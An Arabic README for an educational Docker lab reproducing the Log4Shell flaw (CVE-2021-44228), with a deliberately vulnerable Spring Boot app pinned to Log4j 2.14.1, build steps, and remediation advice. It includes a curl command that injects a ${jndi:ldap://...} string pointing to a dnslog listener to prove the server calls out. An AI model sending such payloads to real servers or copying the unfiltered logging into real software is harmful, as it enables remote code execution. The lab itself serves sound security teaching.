🔓 عرض توضيحي لثغرة Log4Shell (CVE-2021-44228)

هذا المشروع هو بيئة اختبار مُتحكَم بها تتيح إعادة إنتاج وفهم الثغرة الحرجة Log4Shell (CVE-2021-44228) التي تؤثر على مكتبة Apache Log4j.

📁 بنية المشروع

Secutp1/
├── Dockerfile                           # Construction de l'image Docker
├── pom.xml                              # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md                            # Ce fichier
└── src/
    └── main/
        └── java/
            └── com/
                └── example/
                    └── VulnerableApplication.java   # Application Spring Boot vulnérable

🎯 الهدف

إظهار كيف يمكن للمهاجم استغلال الثغرة CVE-2021-44228 لإجبار الخادم على إجراء اتصال شبكة صادر غير مصرح به، بمجرد إرسال سلسلة أحرف خبيثة.

🔍 تحليل الكود الهش

1. إدارة التبعيات (pom.xml)

يفرض ملف pom.xml استخدام Log4j 2.14.1، وهو إصدار أقدم من التصحيح الأمني:

<log4j2.version>2.14.1</log4j2.version>

يحتوي هذا الإصدار على الفئة JndiLookup المفعّلة افتراضيًا، وهي جذر المشكلة.

2. تطبيق جافا (VulnerableApplication.java)

يكشف التطبيق عن خدمة ويب REST. تكمن الثغرة في الدالة index:

@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
    // LA LIGNE VULNÉRABLE :
    logger.info("Requête reçue, input : " + input);
    return "Bonjour ! Votre input a été loggé : " + input;
}

المشكلة: يسترجع التطبيق معامل مستخدم (input) ويمرّره مباشرة إلى logger.info() بدون أي تصفية. يقوم Log4j عندئذٍ بتفسير المحتوى كأمر محتمل.

3. البنية التحتية لـ Docker (Dockerfile)

يستخدم Dockerfile بناءً من مرحلتين:

• المرحلة 1: الترجمة باستخدام Maven (maven:3.8.4-openjdk-11)
• المرحلة 2: التشغيل باستخدام eclipse-temurin:11-jre

💡 استخدام Java 11 مهم لأن الإصدارات الأحدث تقيّد افتراضيًا تحميل الفئات البعيدة.

⚙️ آلية الهجوم

يعتمد الاستغلال على حقن JNDI (Java Naming and Directory Interface):

1. يكتشف Log4j الصيغة ${jndi:protocole://url} في السجلات
2. يحاول الاتصال ديناميكيًا بعنوان URL المحدد
3. في سيناريو حقيقي، يسمح ذلك بتنزيل وتنفيذ فئة Java خبيثة (RCE)

🧪 إجراءات الاستغلال خطوة بخطوة

الخطوة 1: التحضير

تأكد من أن الملفات التالية موجودة في نفس المجلد:

• Dockerfile
• pom.xml
• src/main/java/com/example/VulnerableApplication.java

الخطوة 2: بناء صورة Docker

docker build -t vulnerable-app .

يقوم هذا الأمر بتنزيل تبعيات Maven (Log4j 2.14.1) وإنشاء الصورة.

الخطوة 3: تشغيل الحاوية

docker run -p 8080:8080 --name demo-log4j vulnerable-app

يستمع التطبيق الآن على المنفذ 8080.

الخطوة 4: تجهيز شاهد الاستماع (Listener)

1. انتقل إلى خدمة تسجيل DNS:

   • dnslog.cn
   • dnslog.org
   • Burp Collaborator

2. انسخ العنوان المقدم (مثل: mon-test.dnslog.cn)

الخطوة 5: حقن الـ payload

في محطة طرفية جديدة، نفّذ الأمر التالي:

curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"

📝 ملاحظة: يخدم الحرف \ لإفلات الرمز $ في المحطة الطرفية.

الخطوة 6: التحقق

عُد إلى موقع dnslog. ستلاحظ ظهور طلب DNS، مما يؤكد أن الخادم نفّذ الكود المُحقن.

📊 النتيجة المتوقعة

🚨 الخلاصة

قام الخادم بإجراء اتصال صادر نحو جهاز خارجي بمجرد تسجيل طلب مستخدم.

في سيناريو حقيقي، كان يمكن لهذا الاتصال أن يتيح:

• تنزيل فئة Java خبيثة
• تنفيذ كود عشوائي (RCE - Remote Code Execution)
• الاستيلاء على التحكم الكامل في الخادم

🛡️ المعالجة

لتصحيح هذه الثغرة:

1. تحديث Log4j إلى الإصدار 2.17.1 أو أحدث
2. تعطيل lookups الخاصة بـ JNDI: -Dlog4j2.formatMsgNoLookups=true
3. إزالة الفئة JndiLookup من مسار الفئات (classpath)

📚 المراجع

• CVE-2021-44228 - NVD
• Apache Log4j Security Vulnerabilities
• ANSSI - ثغرة Log4Shell

📜 الترخيص

هذا المشروع مُقدَّم لأغراض تعليمية فقط. استخدمه بطريقة مسؤولة وأخلاقية.